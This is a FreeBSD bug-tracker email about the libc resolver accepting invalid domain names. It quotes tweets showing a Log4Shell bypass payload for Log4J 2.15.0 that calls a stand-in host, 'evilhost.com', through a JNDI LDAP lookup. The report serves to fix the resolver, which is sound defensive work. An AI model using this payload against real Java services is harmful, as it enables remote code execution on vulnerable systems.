From nobody Wed Dec 29 01:24:29 2021 X-Original-To: bugs@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 927B41910ADA for ; Wed, 29 Dec 2021 01:24:31 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4JNtwt4S61z3CT4 for ; Wed, 29 Dec 2021 01:24:30 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 0C81D1BD72 for ; Wed, 29 Dec 2021 01:24:30 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 1BT1OTWZ009709 for ; Wed, 29 Dec 2021 01:24:29 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 1BT1OTgh009708 for bugs@FreeBSD.org; Wed, 29 Dec 2021 01:24:29 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: bugs@FreeBSD.org Subject: [Bug 260770] libc resolver does not validate domain names Date: Wed, 29 Dec 2021 01:24:29 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: misc X-Bugzilla-Version: CURRENT X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Only Me X-Bugzilla-Who: emaste@freebsd.org X-Bugzilla-Status: New X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: bugs@FreeBSD.org X-Bugzilla-Flags: X-Bugzilla-Changed-Fields: Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Bug reports List-Archive: https://lists.freebsd.org/archives/freebsd-bugs List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-bugs@freebsd.org MIME-Version: 1.0 ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1640741070; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references; bh=LGKk2E76IZl9wPNAhxaKuPffJoc1dACPcLbZKyZb50I=; b=Yul2uR6ZA89GnU8JRTi5F2DU9SIUqwymBRES50HIH5ZA0E6akAZHSN4aEzzs/Mj9OBQ4kv 6G4b/rYxDjtQhBvDokA3djeUypk4p0boTSAP/HqQM3GT8bYlrocV0ZD6pkA9lg05E4CSjU Efw4CISqxPAdsFJUgelzeV3CjZHjNagvY0WiO6UEocKFXDk4LfLnb61lnqCSTVpsmnYYHk nzGaSwIVGDc5X8poHhCZGxM1NeJJiaxxU/IIZ3GOkTO1tFtMXj1QSH2mYlWtKyUJNTBkOZ 76BfOCRsReXPEASfAecBM7U/fMc0EVp/+mu8Q72O8RxyYnnPh9XnCDk3kLtSRw== ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1640741070; a=rsa-sha256; cv=none; b=l0btEtb70o17rDJ2csDNH/KoS6d3x4BVIWkjKhannu9mFZc2cR9N3fiHGNuYtibJUf9gjC TPUC9Q9Se5HDCqY0jRE3mVd2SuEzqMgp3G+9WGrxXuA/ScMGsdV4tRLE3K9CPByLO+lt4b /WTOTU6AgUnp5dQ0Add2Ab5gnHyEFkTPpyVJGH5utBI+DzuD52C3v9A60RMBeFbsRtWeXz fm4cq3ODAMSSs9qWlHGXuQO8ye9Y1n/xelEADj1Faq2nKksTfCN3DKmm256QNIO59J7gjj ecyiKW99Y7Plv4jxVkm9Ln3PA5VawseLO2OU7HrpyVIUMwcyp2Rm1u8avtSrQw== ARC-Authentication-Results: i=1; mx1.freebsd.org; none X-ThisMailContainsUnwantedMimeParts: N https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D260770 --- Comment #1 from Ed Maste --- Ref: https://twitter.com/marcioalm/status/1471740771581652995 > FIX: Here is a PoC in how to bypass allowedLdapHost and allowedClasses ch= ecks > in Log4J 2.15.0. to achieve RCE: ${jndi:ldap://127.0.0.1#evilhost.com:138= 9/a} > and to bypass allowedClasses just choose a name for a class in the JDK. > Deserialization will occur as usual. #Log4Shell 1/n https://twitter.com/Shaquil86300527/status/1472153790463815680 > In my tests, this doesn=E2=80=99t work on Windows and Linux. It does work= s in MacOS and > FreeBSD. > # is not a valid for DNS but *some* resolver might query names with # in = it. > TBC for this to work the vulnerable application must run on freeBSD or Ma= cOS > and actor must control a DNS domain. --=20 You are receiving this mail because: You are the assignee for the bug.=